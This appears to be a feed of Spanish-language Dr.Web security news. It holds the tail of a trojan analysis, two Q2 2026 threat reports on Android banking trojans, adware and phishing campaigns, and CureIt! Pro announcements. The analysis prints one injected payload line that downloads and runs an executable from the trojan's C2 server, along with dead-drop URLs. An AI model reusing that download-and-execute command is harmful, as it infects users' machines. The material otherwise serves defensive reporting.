Se trata de archivos utilizados por el entorno de desarrollo Microsoft Visual Studio, en los que se almacena la configuración del usuario para determinados proyectos. El troyano sustituye el archivo original por una versión infectada descargada desde el servidor C2.

Un archivo infectado

Como resultado, al abrir un proyecto en Visual Studio se ejecuta el código malicioso:


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Archivos winnetwk.h. Trojan.Loader.3184

Windows SDK es el kit oficial de desarrollo de software (SDK) de Microsoft, que permite crear aplicaciones para el sistema operativo Windows.

El troyano consulta el Registro de Windows para localizar la carpeta donde está instalado Windows SDK. A continuación, busca el archivo winnetwk.h, responsable de la administración de los recursos de red, e inserta en él código malicioso.

Archivo infectado winnetwk.h

A partir de ese momento, todos los programas creados utilizando winnetwk.h incorporarán código malicioso que ejecutará la segunda etapa.

Archivos .exe

El troyano busca archivos .exe adecuados e inserta en ellos las funciones de inicialización de las API y de ejecución de initterm. A continuación, el archivo empieza a funcionar como Trojan.DownLoader49.35384, es decir, como la etapa 1.

Archivos .vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) y .csproj (Trojan.Loader.3126)

Se trata de archivos de proyecto de Visual Studio para los lenguajes de programación C++ y C#. El troyano añade a estos archivos un comando PreBuildEvent, que se ejecuta antes de cada compilación del proyecto. Las primeras versiones del troyano incorporaban un código similar al de etapa 1.

Versión inicial del código

En las versiones más recientes, el código es más complejo e incorpora mecanismos adicionales de ofuscación.

Nueva versión del código

Una etapa de ejecución de Trojan.Loader.3128

Como resultado de la ejecución del comando malicioso, se crea un archivo .vbs malicioso que, a su vez, ejecuta la carga útil de PowerShell. A continuación, el troyano envía solicitudes a las siguientes direcciones URL:

youtu.be/akoxddx6lgc,
steamcommunity.com/profiles/76561198737324192.

En estas direcciones se almacena otra dirección URL cifrada mediante base64.

Una cuenta de YouTube con una dirección URL cifrada

Tras descifrarla, el troyano obtiene el dominio C2 al que se conecta para descargar una carga útil similar a la de la segunda etapa.

El análisis del funcionamiento del troyano permite concluir que se trata de una amenaza especialmente peligrosa, ya que combina múltiples funciones maliciosas. Para evitar la infección del equipo y frenar la propagación del troyano, recomendamos mantener las bases de datos del antivirus siempre actualizadas y analizar todos los archivos descargados de Internet. Los usuarios de Dr.Web Security Space y Dr.Web Desktop Security Suite pueden estar tranquilos, ya que los antivirus Dr.Web detectan y eliminan el troyano de forma segura. Asimismo, los archivos de tipo .vcxproj, .csproj e imgui se desinfectan, eliminándose de ellos el código malicioso.

Doctor Web: informe de la actividad de virus para dispositivos móviles en el II trimestre de 2026

Wed, 01 Jul 2026 04:00:00 GMT

1 de julio de 2026

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el II trimestre del año 2026 se observó una reducción de la actividad de los troyanos bancarios Android.Banker — un 31,83% comparado con el I trimestre. Sin embargo, los mismos siguieron siendo el malware más detectado para Android: a esta familia se requiere un 23,28% de detecciones de amenazas de ese tipo. Este malware roba varios tipos de datos privados, tales como los SMS con códigos de un solo uso de entidades de crédito, nombres de usuario y contraseñas de las cuentas de la banca en línea, y además puede visualizar las ventanas phishing. Igual que en el trimestre pasado, los usuarios afrontaron con mayor frecuencia la subfamilia Android.Banker.Mamont, que incluye varios tipos de malware.

Durante los tres meses pasados siguió reduciéndose la actividad de los troyanos publicitarios de las familias Android.MobiDash y Android.HiddenAds. Además, siguen siendo algunas de las amenazas de malware para Android más frecuentes, y determinadas variantes continúan figurando entre el malware con mayor número de detecciones.

El software potencialmente peligroso más frecuente volvió a ser, con una cuota superior al 66 %, el formado por aplicaciones cuyo código ha sido modificado mediante la incorporación de código basura para dificultar su análisis (detectadas como Tool.Obfuscator.TrashCode). Este tipo de modificación se realiza con ayuda de las herramientas de modding de NP Manager. Los ciberdelincuentes también recurren a ellas para proteger malware, como los troyanos bancarios Android.Banker.Mamont, frente a la detección por parte de los antivirus.

En segundo lugar se situaron las aplicaciones modificadas igualmente mediante la utilidad NP Manager, aunque utilizando otras de sus funciones. Por ejemplo, esta herramienta incluye varios módulos para la protección y ofuscación del código, así como mecanismos para esquivar la verificación de la firma digital de las aplicaciones una vez modificadas. Los autores de malware aprovechan estas capacidades para dificultar la detección de su malware por las soluciones antivirus. Los productos de Dr.Web detectan las aplicaciones alteradas de este modo como Tool.NPMod.

Entre las aplicaciones potencialmente peligrosas más frecuentes también volvieron a figurar las modificadas mediante la utilidad Tool.LuckyPatcher. Para llevar a cabo estas modificaciones, la herramienta descarga de Internet los scripts especialmente diseñados para ello.

Los programas no deseados más activos en el II trimestre fueron las aplicaciones Program.FakeAntiVirus que imitan el funcionamiento de los antivirus. Supuestamente, detectan algunas amenazas y luego proponen adquirir una versión completa para “afrontar” las mismas. Estas versiones modificadas representaron más del 44 % del software no deseado detectado en dispositivos Android.

El adware más frecuente fue el formado por los módulos Adware.AdPush, que pueden integrarse en aplicaciones para Android. Estos módulos muestran notificaciones publicitarias engañosas y también recopilan varios datos confidenciales.

Además, los usuarios siguieron afrontando los optimizadores Adware.Bastion.1.origin. . Estas aplicaciones generan periódicamente notificaciones con mensajes engañosos sobre supuestos errores del sistema y falta de memoria RAM, y muestran publicidad durante el proceso de «optimización».

Las aplicaciones publicitarias Adware.Opensite.15. También volvieron a registrar una elevada actividad. Los ciberdelincuentes las hacen pasar por aplicaciones con trucos para videojuegos que supuestamente permiten obtener recursos dentro de los juegos. En realidad, estas aplicaciones únicamente cargan sitios web con publicidad.

A principios de junio, los expertos de la empresa Doctor Web informaron sobre Android.MagicAd.1 — un troyano capaz de esquivar las restricciones del SO Android y visualizar publicidad en modo de segundo plano. Para ello, Android.MagicAd.1 usa las aplicaciones terceras, así como las metodologías determinadas que seleccione en función del fabricante del dispositivo infectado. Para más información sobre este troyano, consulte el material correspondiente en nuestro sitio web.

Asimismo, durante el segundo trimestre, los analistas de virus de Doctor Web otra vez detectaron en Google Play malware destinado a suscribir a los usuarios a servicios de pago, incluidos representantes de las familias Android.Subscription y Android.Joker.

Tendencias clave del II trimestre

Los troyanos bancarios Android.Banker siguieron siendo malware más popular para el SO Android.
Los creadores de virus siguieron usando activamente las herramientas de modding de aplicaciones Android para evitar que los antivirus detecten los troyanos bancarios.
La actividad de los troyanos de publicidad Android.MobiDash y Android.HiddenAds bajó otra vez.
Fue detectado un troyano Android.MagicAd.1, que usa aplicaciones terceras para esquivar las restricciones del SO Android y visualizar publicidad en segundo plano.
Nuevo malware apareció en el catálogo Google Play.

Según los datos de Dr.Web Security Space para dispositivos móviles

Android.Click.1812: Detección de mods maliciosos de WhatsApp capaces de cargar varios sitios web en segundo plano sin permiso del usuario.
Android.HiddenAds.675.origin
Android.HiddenAds.4236: Un troyano publicitario diseñado para mostrar publicidad intrusiva. Los representantes de la familia Android.HiddenAds suelen distribuirse haciéndose pasar por aplicaciones legítimas y, en algunos casos, son instalados por otro malware en el directorio del sistema. Tras infectar un dispositivo Android, suelen ocultar su presencia al usuario, por ejemplo, al eliminar el icono de la aplicación del menú principal.
Android.Banker.Mamont.80.origin: Un troyano bancario que intercepta los mensajes SMS con códigos de un solo uso enviados por entidades financieras, así como el contenido de las notificaciones, y además recaba otra información confidencial. Entre los datos que puede obtener se incluyen la información técnica sobre el dispositivo infectado, la lista de aplicaciones instaladas, los datos de la tarjeta SIM, el historial de llamadas telefónicas y los mensajes SMS recibidos y enviados..
Android.FakeApp.1600: Un troyano que carga el sitio web indicado en su configuración. Las modificaciones conocidas de este malware cargan páginas de casinos en línea.

Program.FakeAntiVirus.1
Program.FakeAntiVirus.4
Program.FakeAntiVirus.4.origin
Program.FakeAntiVirus.5: Detección de programas publicitarios que imitan el funcionamiento de un antivirus. Estas aplicaciones pueden alertar sobre amenazas inexistentes y engañar a los usuarios para que adquieran la versión completa de pago.
Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar determinadas tareas o actividades. Estos programas simulan la acumulación de recompensas y exigen alcanzar una cantidad mínima para poder retirar los supuestos ingresos. Por lo general, incluyen una lista de sistemas de pago y entidades bancarias populares a través de los cuales, supuestamente, es posible cobrar las recompensas. Sin embargo, incluso cuando los usuarios consiguen reunir la cantidad requerida, los pagos prometidos nunca llegan a efectuarse. Esta detección también se utiliza para identificar otro software no deseado basado en el código de este tipo de aplicaciones.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Detección de aplicaciones Android cuyo código ha sido modificado mediante herramientas de modding para incorporar código basura. Este tipo de modificación tiene como objetivo dificultar el análisis y la comprensión de la lógica interna de las aplicaciones. Se trata de una técnica habitual tanto en troyanos bancarios como en versiones pirateadas de software.
Tool.NPMod.3
Tool.NPMod.1: Detección de aplicaciones Android modificadas mediante la utilidad NP Manager. Esta herramienta incorpora módulos para la ofuscación y protección del código, así como mecanismos para esquivar la verificación de la firma digital de las aplicaciones una vez modificadas. La ofuscación que aplica se utiliza con frecuencia en malware para dificultar su detección y análisis.
Tool.LuckyPatcher.2.origin: Una utilidad que permite modificar aplicaciones Android instaladas (crear parches para ellas) con el fin de alterar su funcionamiento o esquivar determinadas restricciones. Por ejemplo, puede utilizarse para intentar desactivar la comprobación de acceso root en aplicaciones bancarias o para obtener recursos ilimitados en videojuegos. Para crear los parches, la herramienta descarga de Internet scripts especialmente preparados, que cualquier usuario puede desarrollar y añadir a una base de datos compartida. La funcionalidad de estos scripts puede resultar incluso maliciosa, por lo que los parches generados pueden suponer un riesgo potencial para la seguridad.

Adware.Bastion.1.origin: Detección de aplicaciones de optimización que con cierta periodicidad generan notificaciones engañosas sobre una supuesta falta de memoria y errores del sistema con el fin de mostrar publicidad durante el proceso de «optimización».
Adware.Opensite.15: Aplicaciones que se presentan como herramientas para obtener recursos en videojuegos mediante trucos o ventajas especiales. En realidad, han sido creadas para mostrar publicidad. Estos programas reciben de un servidor remoto una configuración que determina qué sitio web debe cargarse para mostrar anuncios, ya sean banners, ventanas emergentes, vídeos publicitarios u otros formatos similares.
Adware.AdPush.3.origin: Un módulo publicitario que puede integrarse en aplicaciones Android. Este componente muestra notificaciones publicitarias engañosas que pueden hacerse pasar, por ejemplo, por mensajes del sistema operativo. Además, recopila distintos datos confidenciales y puede descargar otras aplicaciones e iniciar su instalación en el dispositivo.
Adware.Fictus.1.origin: Un módulo publicitario que los ciberdelincuentes integran en versiones clonadas de aplicaciones y videojuegos populares para Android. Su incorporación se realiza mediante el empaquetador especializado net2share. Las copias creadas de este modo se distribuyen a través de varios catálogos de aplicaciones y, una vez instaladas, visualizan publicidad no deseada.
Adware.Airpush.7.origin: Complementos integrados en aplicaciones Android que visualizan varios tipos de publicidad. En función de la versión y de la modificación, pueden generar notificaciones publicitarias, ventanas emergentes o banners. Los atacantes los utilizan con frecuencia para propagar malware, proponiendo instalar algún software. Además, estos complementos transmiten a servidores remotos varios datos confidenciales.

Amenazas en Google Play

Durante el II trimestre del año 2026, los analistas de virus de la empresa Doctor Web detectaron en el catálogo Google Play varios nuevos programas troyanos Android.Subscription, que suscriben a usuarios a servicios de pago. Se propagaron camuflados por software de varios tipos: una plataforma de streaming ShowLounge - TV & Dramas (Android.Subscription.25), un programa para gamers AIM: Crosshair Asist (Android.Subscription.26), un juego True Cargo Drive (Android.Subscription.27), una utilidad Battery 3D: Charge Effects (Android.Subscription.28) y un editor de imágenes PixStudio - Photo Editor (Android.Subscription.29). En total, fueron descargados al menos 2 600 000 veces.

Unos ejemplos de programas troyanos Android.Subscription, detectados en Google Play en el II trimestre de 2026

El malware de este tipo carga los sitios web donde con la tecnología Wap Click se conectan suscripciones móviles de pago a los usuarios. A las víctimas potenciales se les solicita su número de móvil y, una vez introducido el mismo, se intentan activarse los servicios correspondientes.

En Google Play otra vez se difundieron los programas troyanos Android.Joker, que también suscriben a las víctimas a servicios de pago. Los malintencionados los hacían pasar por messengers Chat Messages (Android.Joker.2625) y Easy Messages (Android.Joker.2632), así como las utilidades para optimizar el funcionamiento del sistema Smart File Cleaner, Junk Clean Master y Fast Cleaner (Android.Joker.2614, Android.Joker.2618 y Android.Joker.2626 respectivamente).

Un malware donde se ocultaban los troyanos de la familia Android.Joker

Para proteger los dispositivos en Android contra malware y software no deseado, recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus en el II trimestre del año 2026

Wed, 01 Jul 2026 02:00:00 GMT

1 de julio de 2026

Según las estadísticas de detección del antivirus Dr.Web, durante el segundo trimestre de 2026 el número total de amenazas detectadas aumentó un 5,72 % con respecto al primer trimestre. El número de amenazas únicas creció un 95,32 %. Las amenazas detectadas con mayor frecuencia en los dispositivos protegidos fueron adware y troyanos publicitarios, malware de minería de criptomonedas y troyanos utilizados para ejecutar otras amenazas.

En el tráfico de correo electrónico se detectaron principalmente scripts maliciosos y varias aplicaciones troyanas, entre ellas descargadores, droppers, ladrones de contraseñas y mineros de criptomonedas. También se observó una amplia difusión de Gateways, documentos de phishing y varios tipos de exploits.

Los usuarios cuyos archivos se vieron afectados por troyanos cifradores con mayor frecuencia afrontaron los encoders Trojan.Encoder.35534, Trojan.Encoder.41868 y Trojan.Encoder.37400. Al mismo tiempo, el número de solicitudes de descifrado recibidas por el servicio de soporte técnico de Doctor Web se redujo ligeramente en comparación con el trimestre anterior.

Durante el segundo trimestre de 2026, los analistas de Internet de Doctor Web observaron un aumento de los ataques de phishing dirigidos a los usuarios del Messenger MAX. Los ciberdelincuentes también aprovecharon la actualidad informativa del momento y adaptaron a ella los fraudes más habituales.

En abril se supo que una de las actualizaciones de Microsoft Visual Studio Code contenía codigo malicioso. Se trataba de un script troyano incluido en la biblioteca pública de JavaScript es5-ext, incorporada al software actualizado. Este script se ejecuta cuando detecta que el sistema utiliza la zona horaria de determinadas ciudades rusas y visualiza un mensaje con contenido antirruso en la consola del desarrollador.

En mayo advertimos sobre la propagación del malware JobStealer, dirigido a usuarios de Mac y Windows. Los ciberdelincuentes lo distribuían haciéndolo pasar por una aplicación para realizar entrevistas de trabajo en línea. El troyano JobStealer roba la información confidencial de varios tipos, incluidos datos procedentes de alrededor de 300 extensiones de navegador para monederos de criptomonedas, archivos del mensajero Telegram, contraseñas y datos de tarjetas bancarias guardados en los navegadores, así como archivos de cookies.

En junio, los expertos del laboratorio antivirus de Doctor Web informaron sobre un nuevo troyano publicitario, Android.MagicAd.1, que visualizaba publicidad en segundo plano gracias a su posibilidad de esquivar las restricciones del sistema operativo Android. Para ello, explota aplicaciones de terceros y selecciona el método más adecuado en función del fabricante del dispositivo objetivo.

Entre malware para dispositivos Android, los troyanos bancarios Android.Banker mantuvieron el liderazgo por número de detecciones en los dispositivos protegidos. Al mismo tiempo, los creadores de malware siguieron utilizando activamente varias herramientas de modificación de aplicaciones Android para dificultar la detección de su malware por parte de los antivirus. Asimismo, durante el segundo trimestre, nuestros analistas de virus detectaron en el catálogo de Google Play varios nuevos troyanos diseñados para suscribir a los usuarios a servicios móviles de pago.

Tendencias clave del II trimestre

Aumentó el número de amenazas detectadas en dispositivos protegidos.
Entre las amenazas detectadas, aumentó bastante el número de archivos únicos.
El número de solicitudes de descifrado de archivos afectados por los programas troyanos cifradores bajó comparado con el I trimestre.
Los estafadores empezaron a atacar a usuarios del Messenger MAX con mayor frecuencia.
Los troyanos bancarios Android.Banker siguieron siendo el malware más popular para dispositivos en Android.
Los expertos de Doctor Web detectaron un troyano de publicidad Android.MagicAd.1, que puede esquivar las restricciones del SO Android y visualizar anuncios en segundo plano.
Los creadores de virus difundieron el malware JobStealer que sirve para robar los datos privados de los usuarios de equipos con Mac y Windows.
En uno de los anuncios de Microsoft Visual Studio Code fue detectado un código malicioso.

Según los datos del servicio de estadísticas de Doctor Web

Las amenazas más populares del II trimestre del año 2026

Adware.Downware.20091
Adware.Downware.20766: Adware que sirve de instalador intermediario de software pirata.
Trojan.Siggen31.34463: Un troyano creado en lenguaje de programación Go que sirve para descargar varios miners y adware en el sistema objetivo. El malware es un archivo DLL y está en %appdata%\utorrent\lib.dll. Para su inicio, usa la vulnerabilidad de la clase DLL Search Order Hijacking en el cliente torrent uTorrent.
Trojan.BPlug.4268: Detección del componente malicioso de la extensión para navegador WinSafe. Este componente es un script de JavaScript que visualiza publicidad importuna en navegadores.
Trojan.Starter.8319: Detección de scripts XML maliciosos que inician el troyano Trojan.AutoIt.289 sus componentes.

Estadísticas de malware en el tráfico de correo

Las amenazas más populares del II trimestre del año 2026 en el tráfico de correo

X97M.DownLoader.2343: Un archivo XLSX (formato de tablas electrónicas Microsoft Excel) con un objeto OLE que descarga un archivo malicioso en el equipo atacado.
W97M.DownLoader.2938: Una familia de troyanos descargadores que usan las vulnerabilidades de documentos Microsoft Office. Sirven para descargar otro malware en el equipo atacado.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Una familia de troyanos descargadores que usan las vulnerabilidades de documentos Microsoft Office. Sirven para descargar otro malware en el equipo atacado.
JS.Muldrop.1171: Un script malicioso en formato JavaScript que ejecuta en el sistema objetivo el malware que lleva oculto.

Cifradores

Comparado con el I trimestre del año 2026, en el II trimestre el número de solicitudes para descifrar los archivos afectados por los programas troyanos cifradores bajó un poco, un 2,67%.

Dinámica de recepción de solicitudes para descifrar al servicio de soporte técnico de Doctor Web:

Los encodres más populares del II trimestre del año 2026

Trojan.Encoder.35534 — 14,47% de solicitudes de usuarios
Trojan.Encoder.41868 — 5,26% de solicitudes de usuarios
Trojan.Encoder.37400 — 3,95% de solicitudes de usuarios
Trojan.Encoder.35209 — 3,29% de solicitudes de usuarios
Trojan.Encoder.44197 — 2,63% de solicitudes de usuarios

Fraudulencias en la red

Una de las tendencias observadas por los analistas de Internet de Doctor Web durante el segundo trimestre de 2026 fue que, a medida que aumentaba la audiencia del messenger ruso MAX, los ciberdelincuentes comenzaron a intensificar sus ataques contra los usuarios de esta plataforma. Para ello, recurrieron a esquemas ya conocidos que anteriormente estaban dirigidos a usuarios de otros servicios de mensajería, como Telegram y WhatsApp.

Por ejemplo, nuestros expertos detectaron numerosos sitios fraudulentos creados para robar cuentas de MAX bajo la apariencia de distintas votaciones. A las posibles víctimas se les invita a participar en un concurso o votación, pero para ello deben iniciar sesión en su cuenta introduciendo su número de teléfono móvil y el código de verificación recibido posteriormente. Cuando el usuario facilita estos datos, los atacantes obtienen acceso a su cuenta.

Un ejemplo de un sitio web phishing con el cual los estafadores acceden a la cuenta del Messenger MAX de la víctima

Durante el segundo trimestre, los analistas de Internet de Doctor Web detectaron la aparición de nuevos sitios web fraudulentos relacionados con inversiones. Además, los ciberdelincuentes siguieron las tendencias actuales y continuaron explotando activamente la temática de la inteligencia artificial.

Por ejemplo, en algunos de estos sitios ofrecían a las posibles víctimas la posibilidad de sumarse a un nuevo proyecto de inversión supuestamente vinculado a importantes entidades financieras rusas. Los estafadores prometían acceso a un chatbot especializado basado en la red neuronal ChatGPT, diseñado para ayudar en las inversiones. Para convertirse en participantes de este supuesto «proyecto», los visitantes debían registrarse facilitando información personal.

Un sitio web fraudulento ofrece registrarse en un supuesto proyecto de inversión vinculado a uno de los bancos rusos y obtener acceso a un chatbot financiero especializado basado en la red neuronal ChatGPT

Al mismo tiempo, los estafadores intentaban atraer a los usuarios de habla rusa utilizando no solo los nombres de bancos rusos, sino también los de entidades financieras extranjeras. Por ejemplo, los ciberdelincuentes presentaban varios sitios web de supuestos servicios de inversión como si estuvieran vinculados a bancos surcoreanos.

Uno de los sitios fraudulentos que ofrecía a los usuarios rusohablantes participar en un supuesto proyecto de inversión de un banco surcoreano y prometía ingresos de hasta 2.000.000 de wones surcoreanos

Durante el segundo trimestre continuó la actividad de los estafadores que intentaban robar credenciales de acceso a distintos servicios. Entre los numerosos sitios de phishing detectados figuraban páginas falsas que se hacían pasar por empresas de transporte. Uno de estos sitios estaba dirigido a los clientes de un servicio ruso de mensajería urgente.

A las posibles víctimas se les ofrecía iniciar sesión en su cuenta utilizando el número de teléfono móvil asociado a la misma o autenticarse a través del portal ruso de servicios públicos electrónicos Gosuslugi. Sin embargo, incluso después de «acceder» a la cuenta mediante la primera opción, el sitio seguía mostrando una segunda página de phishing, presentada como un formulario de autenticación a través de Gosuslugi.

Mediante este sitio fraudulento, los ciberdelincuentes podían robar las credenciales de varias cuentas a la vez: tanto las del área personal de la empresa de transporte como las del portal ruso de servicios públicos Gosuslugi

Nuestros expertos también detectaron nuevos sitios web de phishing que suplantaban a entidades financieras de distintos países. Así, a los clientes de uno de los bancos estadounidenses se les invitaba a iniciar sesión en su cuenta para comprobar si podían acceder a un tipo de interés más elevado reservado para «clientes fieles».

En otro caso, un sitio de phishing imitaba el diseño de uno de los bancos ecuatorianos y solicitaba a los usuarios su nombre de usuario y contraseña de acceso a la banca en línea:

Otra campaña de phishing estaba orientada a usuarios del Reino Unido. Los ciberdelincuentes creaban sitios web falsos de servicios públicos en los que proponían abonar una multa por aparcamiento indebido.

A las posibles víctimas se les pedía información personal detallada con el pretexto de verificar su identidad y, a continuación, se las redirigía a una página para abonar la supuesta multa.

Una de las estafas más populares sigue siendo la promesa de recibir varios tipos de ayudas o pagos gratuitos. Sin embargo, los ciberdelincuentes adaptan constantemente este tipo de fraude a la actualidad. Así, con motivo de la celebración del Día de Rusia, comenzaron a aparecer sitios web falsos que imitaban a entidades financieras rusas y en los que los estafadores prometían pagos especiales con motivo de la festividad. En uno de ellos, se aseguraba a los usuarios que podían recibir entre 5.000 y 300.000 rublos por participar en una encuesta:

En otra opción de este fraude, se prometía a los usuarios una supuesta «ayuda» de 5.000 rublos a cambio de completar una encuesta:

En un contexto marcado por informaciones especulativas sobre una posible escasez de combustible en algunas regiones de Rusia, algunos de estos sitios ofrecían vales para recibir gratuitamente entre 20 y 100 litros de carburante:

Después de responder a algunas preguntas sencillas, a los visitantes de estos sitios se les ofrecía completar una supuesta «verificación de identidad» para poder recibir la recompensa prometida. Para ello, debían proporcionar su nombre y apellidos, número de teléfono móvil y número de tarjeta bancaria. Posteriormente, los estafadores podían utilizar esta información para robar dinero a las víctimas.

Entre los sitios web maliciosos detectados durante el segundo trimestre también hubo portales falsos de la Federación Internacional de Fútbol Asociación (FIFA). En ellos, los usuarios supuestamente podían adquirir, de forma oficial, entradas para los partidos de la Copa Mundial de la FIFA 2026, productos de merchandising y diversos servicios prémium.

Al igual que en el sitio legítimo, a los visitantes de estas páginas fraudulentas se les ofrecía iniciar sesión con su cuenta FIFA ID. Sin embargo, el formulario de acceso aceptaba cualquier combinación de nombre de usuario y contraseña introducida por el usuario.

Formulario falso de inicio de sesión de FIFA ID

Una vez seleccionado el producto deseado, los aficionados al fútbol podían tramitar la compra y realizar el pago. No obstante, durante este proceso eran redirigidos al sitio web de uno de los servicios que figura en la base de recursos de Internet no recomendados por el antivirus Dr.Web.

El sitio web falso de la FIFA supuestamente permitía adquirir de forma oficial productos y servicios con licencia

Nuestros expertos también detectaron varias campañas de spam destinadas a difundir enlaces a sitios web falsos que se hacían pasar por conocidos marketplaces rusos. En ellos, los ciberdelincuentes invitaban a las posibles víctimas a participar en un supuesto «sorteo conmemorativo de aniversario». Los estafadores prometían premios tanto en metálico — de hasta 1.000.000 de rublos — como equipos informáticos y dispositivos móviles:

Para participar en la supuesta «promoción», los usuarios debían pulsar el botón correspondiente en estos sitios web. A continuación, se simulaba un proceso de sorteo de premios. Tras varios intentos, se informaba a la posible víctima de que había ganado varios regalos y de que supuestamente podía elegir entre recoger los premios en un punto de entrega del marketplace o recibir su equivalente en dinero mediante una transferencia bancaria.

Al elegir la opción de recibir los premios en un punto de recogida, los sitios web informaban de que los productos correspondientes se habían agotado. No obstante, aseguraban al usuario que todavía podía canjearlos por dinero. A continuación, la página simulaba una conversación con un operador para «confirmar» la intención de convertir los premios en efectivo. Para ello, la posible víctima debía facilitar el número de su tarjeta bancaria:

Tras introducirlo, los sitios web solicitaban el pago de una tasa administrativa para el supuesto «trámite oficial» del premio:

En realidad, las víctimas de estafadores no recibían ningún premio. Además de facilitar los datos de sus tarjetas bancarias a los estafadores, también les entregaban su propio dinero.

Conozca más sobre los sitios web no recomendados por el antivirus Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el II trimestre del año 2026 los usuarios afrontaron los troyanos bancarios Android.Banker, con menor frecuencia, pero estas aplicaciones troyanas siguieron siendo el malware más popular. Además, otra vez se observó una reducción de la actividad de los troyanos de publicidad Android.HiddenAds y Android.MobiDash.

Los programas potencialmente peligrosos detectados con mayor frecuencia en el II trimestre fueron las aplicaciones Tool.Obfuscator.TrashCode y Tool.NPMod, modificadas con la utilidad de modding NP Manager. Los creadores de virus usan esta herramienta para proteger malware contra la detección por antivirus. Los programas no deseados más populares fueron los antivirus falsos Program.FakeAntiVirus. Para «desinfectar» las amenazas supuestamente encontradas, requieren adquirir una versión completa.

El adware más activo fueron los módulos Adware.AdPush que visualizan notificaciones falsas y recaban la información privada. Otra vez se difundieron las aplicaciones de optimización del SO Android Adware.Bastion.1.origin. Generan notificaciones con supuestos mensajes sobre falta de memoria RAM y errores del sistema para mostrar publicidad durante el proceso de «optimización».

El adware Adware.Opensite.15 también mantuvo una elevada actividad. Los ciberdelincuentes lo distribuyen haciéndolo pasar por programas de trucos para videojuegos que supuestamente permiten obtener varios recursos dentro de los juegos. En realidad, estas aplicaciones únicamente abren sitios web con publicidad.

En junio los expertos de la empresa Doctor Web advirtieron sobre el troyano Android.MagicAd.1 que pudo esquivar las restricciones del SO Android y visualizar publicidad en modo de segundo plano. Android.MagicAd.1 usa algunas aplicaciones terceras para eso, así como algunas metodologías que selecciona en función del productor del dispositivo objetivo.

Durante el II trimestre, nuestros analistas de virus detectaron en el catálogo Google Play más programas troyanos de las familias Android.Joker y Android.Subscription, que suscribían a usuarios a servicios de pago. En total, los mismos fueron descargados al menos 2 600 000 veces.

Los eventos más destacados vinculados a la seguridad «móvil» en el II trimestre

Los troyanos bancarios Android.Banker siguieron siendo líderes en cuanto al número de detecciones de malware en los dispositivos protegidos por Dr.Web.
Los malintencionados siguieron aplicar activamente las herramientas especializadas para el modding de aplicaciones Android para proteger los troyanos bancarios contra la detección por los antivirus.
La actividad de los troyanos de publicidad Android.MobiDash y Android.HiddenAds bajó otra vez.
Los analistas de virus de Doctor Web detectaron al troyano Android.MagicAd.1, que usa los programas terceros para esquivar las restricciones del SO Android y visualizar publicidad en modo de segundo plano.
En el catálogo Google Play fueron detectadas nuevas aplicaciones troyanas que suscriben a los usuarios a servicios de pago.

Para más información sobre los eventos de virus en el II trimestre del año 2026, consulte nuestro informe.

¡La espera ha terminado! Dr.Web CureIt! Pro ya está disponible gratis para todos los usuarios

Tue, 23 Jun 2026 11:55:00 GMT

Le presentamos Dr.Web CureIt! Pro, la versión avanzada de la famosa utilidad de desinfección. Ya está disponible y puede obtener acceso promocional gratuito desde este mismo momento.

Cómo obtener Dr.Web CureIt! Pro gratis

Para nuevos usuarios. Acceda al sitio web free.dr-web.es. Complete el formulario habitual para obtener la versión estándar de Dr.Web CureIt! y recibirá un enlace para descargar Dr.Web CureIt! Pro con una licencia de 1 día. Sin pagos ocultos: simplemente rellene el formulario y desinfecte su ordenador utilizando las funciones de configuración avanzadas.

Para los usuarios actuales de la versión de pago de Dr.Web CureIt!. Acceda a su Área personal, donde podrá descargar el instalador de Dr.Web CureIt! Pro. Descárguelo y utilícelo sin restricciones durante todo el período de validez de su licencia.

Le recordamos que la versión Pro le ofrece opciones flexibles de escaneo, administración de excepciones, asignación manual de acciones para las amenazas detectadas y estadísticas ampliadas.

¡Atención! El acceso promocional gratuito de 1 día a través del sitio web free.dr-web.es/ es una oferta especial que le permite descubrir todas las ventajas de la versión Pro sin coste alguno. La oferta es válida hasta el 30 de junio de 2026, inclusive.

A partir del 1 de julio de 2026 estarán disponibles:

La versión clásica gratuita de Dr.Web CureIt! para su descarga y desinfección de emergencia;
La versión avanzada de la utilidad Dr.Web CureIt! Pro.

¿Tiene alguna pregunta o ha detectado un comportamiento inusual del programa? Su opinión es muy importante para nosotros. Envíenos sus comentarios y sugerencias a través del tema fijado especialmente para ello en nuestro foro oficial.
¡Descargue Dr.Web CureIt! Pro hoy mismo y controle por completo el proceso de desinfección gracias a sus funciones de configuración avanzadas!

Dr.Web CureIt! será aún más cómodo. Anuncio de la versión Pro avanzada

Wed, 10 Jun 2026 09:50:40 GMT

Hemos analizado los comentarios de nuestros usuarios y hemos llegado a una conclusión importante. En un momento crítico, cuando el ordenador está infectado, no se necesitan configuraciones complejas: se necesita una solución rápida, sencilla y segura que pueda iniciarse y desinfectar el sistema con un solo clic.

Por ello, hemos revisado los principios de funcionamiento de la utilidad. El clásico Dr.Web CureIt! gratuito sigue disponible, pero ahora está aún más enfocado en lo esencial: basta con descargarlo, pulsar «Escanear» y listo. Se trata de un escáner rápido y seguro para la desinfección de emergencia, capaz de neutralizar amenazas activas y desinfectar el sistema.

¿Y para quienes necesitan controlar el proceso?

No hemos eliminado las funciones avanzadas. Al contrario, las hemos reunido en un producto independiente — Dr.Web CureIt! Pro, y lo hemos hecho más cómodo y accesible. Si necesita analizar un dispositivo extraíble, excluir carpetas del análisis o configurar la aplicación automática de acciones frente a las amenazas detectadas, dispondrá de un escáner flexible y completo por un coste mínimo.

¿Cómo funcionará?

Gratis y sencillo: descargue la versión habitual de Dr.Web CureIt! e inicie al instante un escaneo rápido. Es una solución ideal para situaciones en las que cada minuto cuenta.
Si necesita más: en nuestro sitio web o directamente desde la versión gratuita podrá adquirir Dr.Web CureIt! Pro y acceder a todas las funciones de configuración avanzadas.

